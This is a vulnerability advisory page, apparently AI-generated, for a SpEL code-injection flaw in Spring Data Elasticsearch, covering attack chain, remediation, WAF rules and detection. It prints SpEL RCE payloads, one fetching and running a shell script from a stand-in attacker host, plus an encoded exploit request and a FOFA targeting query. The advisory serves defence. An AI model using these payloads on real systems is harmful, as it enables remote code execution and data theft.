CVE Professor
/
All CVEs
CVE-2026-123886

CVE-2026-123886 — CWE-94

HIGH CVSS 8.8 NVD

Spring Data Elasticsearch replaces positional placeholders in string-based @Query methods with the method arguments before it evaluates SpEL expressions in the resulting query string. As a result, an argument that contains a SpEL expression is evaluated as part of the query, even if the declared query does not use SpEL. An application is affected if it passes untrusted input as an argument to a repository query method that declares a @Query with positional placeholders. In that case, a remote attacker can execute arbitrary code in the application, and repeated requests can exhaust memory through the unbounded expression cache.

Spring Data Elasticsearch replaces positional placeholders in string-based @Query methods with the method arguments before it evaluates SpEL expressions in the resulting query string. As a result, an argument that contains a SpEL expression is evaluated as part of the query, even if the declared query does not use SpEL. An application is affected if it passes untrusted input as an argument to a repository query method that declares a @Query with positional placeholders. In that case, a remote attacker can execute arbitrary code in the application, and repeated requests can exhaust memory through the unbounded expression cache.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Server-Side Template Injection (SSTI) / Expression Language Injection flaw within the Spring Data Elasticsearch library.

Technical Root Cause:
The core issue lies in the order of operations during query construction for @Query methods that use positional placeholders (e.g., ?0, ?1).
1. Normal Flow: In a secure implementation, SpEL (Spring Expression Language) expressions should only be evaluated if the query string explicitly contains SpEL delimiters (e.g., #{...}) or if the method is annotated to support it.
2. Vulnerable Flow: Spring Data Elasticsearch first performs a string replacement of the positional placeholders with the actual method arguments. Then, it evaluates the resulting string for SpEL expressions.
3. The Flaw: If an attacker passes a string argument that contains valid SpEL syntax (e.g., #{T(java.lang.Runtime).getRuntime().exec('id')}), the placeholder replacement injects this raw SpEL code into the query string. The subsequent SpEL evaluation step then executes this injected code, even though the original @Query annotation did not intend to use SpEL.

Missing Control:

  • Input Sanitization: The library fails to sanitize or escape SpEL delimiters in user-supplied arguments before they are inserted into the query string.

  • Contextual Evaluation: The SpEL evaluator does not distinguish between "trusted" SpEL expressions defined in the @Query annotation and "untrusted" SpEL expressions injected via method arguments.
  • CWE Classification:

  • CWE-94: Improper Control of Generation of Code ('Code Injection')

  • CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Technology Fingerprinting: Identify that the target application uses Spring Boot and Spring Data Elasticsearch. This can be done by checking:
  • * X-Powered-By headers (if exposed). * Error pages revealing Spring stack traces. * Common Spring endpoints like /actuator/health or /actuator/env (if exposed). * JavaScript bundles referencing Spring-specific error codes.
  • Version Identification: Determine the Spring Data Elasticsearch version. This is critical because the vulnerability affects specific versions prior to the fix. Check:
  • * /actuator/info (if enabled). * Dependency disclosure in error messages. * Publicly available pom.xml or build.gradle files in source code repositories (if accessible).
  • Authentication: The CVSS vector PR:L (Privileges Required: Low) indicates that the attacker needs a low-privileged account (e.g., a regular user, API key, or session token). The attacker must first authenticate to the application to access the vulnerable endpoint.
  • 2. Exploitation

    Prerequisites:
  • A valid low-privileged user account.
  • An endpoint that calls a Spring Data Elasticsearch repository method with a @Query annotation using positional placeholders.
  • The endpoint must accept user input that is passed directly as an argument to this repository method.
  • Illustrative Scenario:
    Assume a REST API endpoint GET /api/search?q={query} that calls a repository method:

    @Query("SELECT * FROM documents WHERE title = ?0")
    List<Document> searchByTitle(String title);

    The controller passes the user-supplied q parameter directly to searchByTitle.

    Payload Construction:
    The attacker crafts a SpEL expression that achieves Remote Code Execution (RCE). A common payload for Java SpEL RCE is:

    #{T(java.lang.Runtime).getRuntime().exec('curl http://attacker.com/shell.sh | sh')}

    Or, for a simpler proof-of-concept (e.g., creating a file):

    #{T(java.io.File).newFile('/tmp/pwned').createNewFile()}

    Exploit Request (Illustrative):

    curl -X GET "http://target.com/api/search?q=%23%7BT(java.lang.Runtime).getRuntime().exec('id')%7D" \
      -H "Authorization: Bearer <low_priv_token>"

    Note: The # and {} characters are URL-encoded as %23 and %7B/%7D.

    Mechanism:
    1. The controller receives q = #{T(java.lang.Runtime).getRuntime().exec('id')}.
    2. The repository method searchByTitle is called with this string.
    3. Spring Data Elasticsearch replaces ?0 with the string, resulting in the query: SELECT * FROM documents WHERE title = #{T(java.lang.Runtime).getRuntime().exec('id')}.
    4. The SpEL evaluator processes the query string, detects the #{...} block, and executes the exec('id') command on the server.

    3. Post-Exploitation

  • Reverse Shell: The attacker can execute a command to download and run a reverse shell script, establishing a persistent interactive shell.
  • Memory Exhaustion (DoS): The CVE description mentions "unbounded expression cache." An attacker can send repeated requests with unique, complex SpEL expressions to fill the SpEL parser's cache, leading to Out-Of-Memory (OOM) errors and application crash.
  • Data Exfiltration: With RCE, the attacker can read sensitive files (e.g., /etc/passwd, application config files containing database credentials) and exfiltrate them to an external server.
  • Lateral Movement: Using the compromised server as a foothold, the attacker can scan the internal network for other vulnerable services.
  • 🌍 Real World Impact

    CVSS Vector Analysis: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV:N): Network-based. The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC:L): Low. No special conditions are required; the exploit is deterministic.
  • Privileges Required (PR:L): Low. The attacker needs a valid low-privileged account. This is a significant constraint compared to unauthenticated vulnerabilities, but still highly critical in environments with many low-privilege users (e.g., customer accounts, API consumers).
  • User Interaction (UI:N): None. The attack can be automated.
  • Scope (S:U): Unchanged. The vulnerable component and the impacted component are the same (the application server).
  • Confidentiality (C:H): High. Full access to application data, configuration files, and potentially internal network data.
  • Integrity (I:H): High. The attacker can modify data, deploy webshells, or alter application logic.
  • Availability (A:H): High. The attacker can crash the application via memory exhaustion or delete critical data.
  • Practical Consequences:

  • Data Breach: Exposure of sensitive customer data, PII, or proprietary business information.

  • Malware Deployment: Installation of ransomware, cryptominers, or botnet agents on the server.

  • Service Disruption: Denial of Service (DoS) attacks leading to downtime.

  • Regulatory Fines: Non-compliance with GDPR, HIPAA, or other data protection regulations due to the breach.
  • 🛡️ Remediation & Mitigation

    1. Patching (Primary Recommendation)

  • Upgrade Spring Data Elasticsearch: Upgrade to a version that includes the fix. The fix likely involves:
  • * Escaping SpEL delimiters in user-supplied arguments before placeholder replacement. * Or, separating the evaluation of trusted SpEL expressions (from the @Query annotation) from untrusted user input. * Or, disabling SpEL evaluation for queries that do not explicitly opt-in to it.
  • Check Spring Security Advisories: Monitor the Spring Security blog and GitHub advisories for the specific patched version. As of the CVE publication date (23.11.2026), the fix should be available in the latest stable release of Spring Data Elasticsearch.
  • 2. Workarounds (If Immediate Patching is Not Possible)

  • Input Validation: Implement strict server-side validation for all inputs passed to @Query methods with positional placeholders. Reject any input containing SpEL delimiters (#, {, }).
  • Example (Java):*
    if (input.contains("#") || input.contains("{")) {
                throw new IllegalArgumentException("Invalid input");
            }
  • Disable SpEL in Queries: If the application does not require SpEL in @Query annotations, consider using a different query mechanism (e.g., Elasticsearch Query DSL directly) that does not involve SpEL evaluation.
  • WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing SpEL patterns.
  • ModSecurity Rule Example:*
    SecRule ARGS "@rx #{T\(" "id:100001,phase:2,deny,status:403,msg:'SpEL Injection Detected'"
  • Network Segmentation: Restrict network access to the application server to only trusted IP ranges if possible.
  • 3. Detection

  • Web Server Logs: Look for HTTP requests containing SpEL patterns in query parameters or request bodies.
  • Log Pattern:* GET /api/search?q=%23%7BT(java.lang.Runtime)
  • Application Logs: Monitor for unexpected command execution errors or SpEL evaluation exceptions.
  • File System Monitoring: Use tools like auditd (Linux) or Sysmon (Windows) to detect creation of new files in temporary directories (e.g., /tmp/pwned) or execution of unexpected processes (e.g., curl, sh, bash).
  • Network Traffic Analysis: Monitor for outbound connections from the application server to unknown external IPs, especially on non-standard ports.
  • ⚠️ Urgency

    Priority: CRITICAL

  • CVSS Score: 8.8 (High)
  • Exploitability: Low complexity, network-based, requires only low privileges.
  • Impact: Full RCE, data breach, and DoS.
  • CISA KEV: Not listed (as of the provided data), but this does not reduce urgency. The vulnerability is severe and easily exploitable.
  • Recommendation:
1. Immediately identify all applications using Spring Data Elasticsearch with @Query methods and positional placeholders. 2. Upgrade to the patched version as soon as possible. 3. Implement WAF rules and input validation as temporary mitigations if patching is delayed. 4. Audit logs for signs of exploitation. 5. Rotate any credentials or secrets that may have been exposed on the affected servers.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Elasticsearch"
PoC & Exploit Intelligence (GitHub)
googlesky/CVE-2026-123886 Python 2026-11-23
Spring Data Elasticsearch: @Query placeholders replaced with args before SpEL evaluation — untrusted argument executes arbitrary code. Verbatim createQuery orde
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
References & Advisories (1)
Related CVEs
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.0
CVE-2026-126111
Missing secure processing in the XSLT transformer of the Velocity $xslttool view tool in dotCMS allows a back-
8.5
CVE-2026-144446
bitproto before 1.3.3 contains a code injection vulnerability that allows attackers to inject code into genera
7.4
CVE-2026-61706
Infracost helps see cloud cost estimates for Terraform in pull requests. From version 4.0.0 to before version
7.3
CVE-2026-144776
A security flaw has been discovered in toss es-toolkit up to 1.53.0. Affected by this vulnerability is the fun
6.0
CVE-2026-61830
RabbitMQ Cluster Kubernetes Operator deploys and manages RabbitMQ clusters. Prior to version 2.21.0, a namespa
5.1
CVE-2026-144741
A security vulnerability has been detected in yinMrsir chunyu-cms up to 1.1.0. The affected element is the fun